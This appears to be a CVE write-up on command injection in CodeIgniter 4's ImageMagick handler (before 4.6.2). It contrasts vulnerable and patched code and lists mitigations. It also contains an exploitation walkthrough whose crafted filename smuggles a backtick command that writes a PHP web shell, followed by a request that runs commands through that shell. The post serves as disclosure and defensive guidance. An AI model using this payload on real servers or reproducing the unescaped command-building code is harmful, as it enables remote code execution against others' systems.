CodeIgniter 4 versions before 4.6.2 failed to sanitize inputs when wrapping the ImageMagick CLI. By uploading an image with a carefully crafted filename or using the text overlay feature, an attacker can break out of the command string and execute arbitrary shell commands on the server.
A critical OS Command Injection vulnerability in CodeIgniter 4's ImageMagick handler allows unauthenticated attackers to achieve Remote Code Execution (RCE) via malicious filenames or text overlays.
Image processing in PHP is a tale of two cities. On one side, you have the GD library, which runs safely within the PHP process memory. On the other side, you have ImageMagick (Imagick). While there is a PHP extension for Imagick, many frameworks—including CodeIgniter—often fallback to or prefer using the command-line binary convert directly.
Why? Because it's easier to debug and doesn't require compiling extensions. But here lies the trap: whenever a web application constructs a shell command using user-supplied data, it is walking a tightrope over a pit of vipers.
CodeIgniter 4, a framework generally known for its robust defaults, slipped off that tightrope. In the ImageMagickHandler, they made the classic mistake of trusting that wrapping a variable in double quotes is the same thing as sanitizing it. Spoiler alert: It is not.
The vulnerability resides in system/Images/Handlers/ImageMagickHandler.php. The handler's job is simple: take an image, resize it or add text, and save it. To do this, it builds a command string to pass to the operating system.
The logic flaw occurs in methods like _resize() and _text(). Instead of using PHP's built-in escapeshellarg()—which wraps arguments in single quotes and escapes existing single quotes—the developers opted for manual concatenation.
Here is the logic that doomed them:
// The source path usually comes from the uploaded file's name
$source = !empty($this->resource) ? $this->resource : $this->image()->getPathname();
// Constructing the command arguments manually
$action = $resizeOption . ' "' . $source . '" "' . $destination . '"';
// Passing it to exec()
$this->process($action);The code wraps $source in double quotes. In a sane world, filenames are just alphanumeric strings. In the hacker's world, filenames are payloads. If an attacker can control the filename, they can inject shell metacharacters that function perfectly fine inside double quotes (like backticks) or break out of the quotes entirely.
Let's look at the difference between the vulnerable code and the secure code. It is a textbook example of why built-in sanitization functions exist.
Before (Vulnerable):
// Variable interpolation inside double quotes does NOT protect against subshells
$cmd = $this->config->libraryPath . ' -quality ' . $quality . ' ' . $action;
@exec($cmd, $output, $retval);If $action contains a filename like "image.jpg id ", the resulting command executed by the shell becomes:
convert -quality 90 -resize 100x100 "image.jpg id " "destination.jpg"
The backticks force the shell to execute id before the rest of the command.
After (Patched in 4.6.2):
The fix involves wrapping every single user-controlled input in escapeshellarg(). This function ensures that the shell treats the input strictly as a string literal, neutralizing backticks, semicolons, and dollar signs.
// Using escapeshellarg() neuters the payload
$action = $resizeOption . ' ' . escapeshellarg($source) . ' ' . escapeshellarg($destination);To exploit this, we don't need a binary exploit or heap Feng Shui. We just need a file upload form that keeps the original filename, or a controller that reflects user input into the image text method.
The Attack Scenario:
imagick handler (often the default if gd is missing or configured manually).Payload Filename:
my_vacation_photo.jpg echo "<?=system($_GET['c']);?>" > shell.php ``
Execution: Upload the file. The application receives the file, saves it to a temporary path (or moves it), and then calls $image->resize().
Detonation: When CodeIgniter runs the resize command:
/usr/bin/convert ... "my_vacation_photo.jpg`echo "..." > shell.php`" ...The shell sees the backticks, pauses the convert command, executes the echo command, creates shell.php in the public web root, and then resumes (likely failing the image conversion, but who cares? We have a shell).
https://target.com/shell.php?c=id and enjoy your uid=33(www-data).If you are running CodeIgniter 4 < 4.6.2, you have three options.
Option 1: The Upgrade (Recommended) Update to version 4.6.2 immediately. The patch is robust and handles the escaping correctly.
Option 2: The Switch
Change your image handler to GD. GD uses PHP's internal libraries (imagecreatefromjpeg, etc.) and does not shell out to the OS. It is immune to this class of vulnerability.
// app/Config/Images.php
public string $handler = 'gd';Option 3: The Hardening
If you absolutely must use an older version and Imagick, you must sanitize filenames before they touch the image library. Never trust $_FILES['userfile']['name']. Always generate a random alphanumeric string for the stored filename.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
CodeIgniter 4 CodeIgniter Foundation | < 4.6.2 | 4.6.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-78 (OS Command Injection) |
| CVSS v3.1 | 9.8 (Critical) |
| Attack Vector | Network |
| Privileges Required | None |
| User Interaction | None |
| Impact | Remote Code Execution (RCE) |
The software constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command.
Get the latest CVE analysis reports delivered to your inbox.